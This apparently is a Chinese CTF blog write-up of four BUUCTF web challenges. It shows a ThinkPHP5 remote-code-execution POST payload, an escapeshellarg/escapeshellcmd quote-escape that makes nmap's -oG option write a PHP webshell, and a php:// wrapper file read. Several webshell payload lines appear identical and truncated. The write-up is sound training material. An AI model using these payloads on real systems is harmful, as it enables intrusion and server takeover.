Web-7(25-28)-BUUCTF平台

本篇内容
[BJDCTF 2nd]old-hack
[BUUCTF 2018]Online Tool
[0CTF 2016]piapiapia
[ACTF2020 新生赛]Include

上一篇 | 目录 | 下一篇

[BJDCTF 2nd]old-hack
Web-7(25-28)-BUUCTF平台_第1张图片
发现是thinkphp5漏洞,使用Kali查一下漏洞利用方法:
Web-7(25-28)-BUUCTF平台_第2张图片
我们查看一下最新的那个46150.txt,看看是否可以利用,在kali命令行输入:

cat /usr/share/exploitdb/exploits/php/webapps/46150.txt

Web-7(25-28)-BUUCTF平台_第3张图片
尝试一下它给的利用姿势:

?s=captcha

然后POST:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

Web-7(25-28)-BUUCTF平台_第4张图片
发现可行,尝试换成ls /看到flag字眼,然后cat /flag拿到最终flag。
Web-7(25-28)-BUUCTF平台_第5张图片





[BUUCTF 2018]Online Tool

访问网址,直接出现以下代码:


if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);	//创建文件夹
    chdir($sandbox);	//移到该文件夹下
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

大致就是GET一个host参数,经过escapeshellarg()escapeshellcmd()函数处理后,用system命令来执行nmap扫描,扫描host传入的东西。
escapeshellarg()和escapeshellcmd()函数一起使用会导致单引号逃逸,见大佬文章:谈谈escapeshellarg参数绕过和注入的问题。但是常见的命令注入操作如 | & 等不能用,因为escapeshellcmd()函数对一些特殊符号会进行转义。
其实,nmap命令可以将扫描结果写入文件,参数如下表:

-oN				标准保存
-oX				XML保存
-oG				Grep保存
-oA				保存到所有格式
-append-output	补充保存文件

这样,就可以构造payload了,但我都尝试了,发现就一个-oG可用:

'  -oG shell.php '

经过escapeshellarg()函数处理后就是(这里直接执行了,所以不显示)

''\'' -oG shell.php '\'''

经过escapeshellcmd()函数处理后就是

''\\'' \<\?php phpinfo\(\)\;\?\> -oG shell.php '\\'''

然后由于所有的单引号都已经配对,且\<\?php phpinfo\(\)\;\?\>写入shell.php后就又是了。

去尝试一下,会生成一个文件夹且会进入该文件夹下:

'  -oG shell.php '

Web-7(25-28)-BUUCTF平台_第6张图片
Web-7(25-28)-BUUCTF平台_第7张图片
发现可行,那就直接改payload:

'  -oG shell.php '

Web-7(25-28)-BUUCTF平台_第8张图片
在这里插入图片描述
查看flag:

'  -oG shell.php '

Web-7(25-28)-BUUCTF平台_第9张图片
在这里插入图片描述

当然的,也可以使用菜刀连接,payload:

'  -oG shell.php '

Web-7(25-28)-BUUCTF平台_第10张图片
然后在根路径下找到flag。
Web-7(25-28)-BUUCTF平台_第11张图片





[0CTF 2016]piapiapia

这题考察反序列化逃逸,说实话有些难度,会照着WP做,但自己的见解不深,直接放大佬博客:[0CTF 2016]piapiapia(反序列化逃逸)。





[ACTF2020 新生赛]Include

直接点击tips,出现如下提示:
在这里插入图片描述
试着用php://伪协议做做看,出现了一串base64密文:
在这里插入图片描述
base64解密即可拿到最终flag。
Web-7(25-28)-BUUCTF平台_第12张图片




========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/105437591
========================================================

你可能感兴趣的:(CTF,BUUCTF)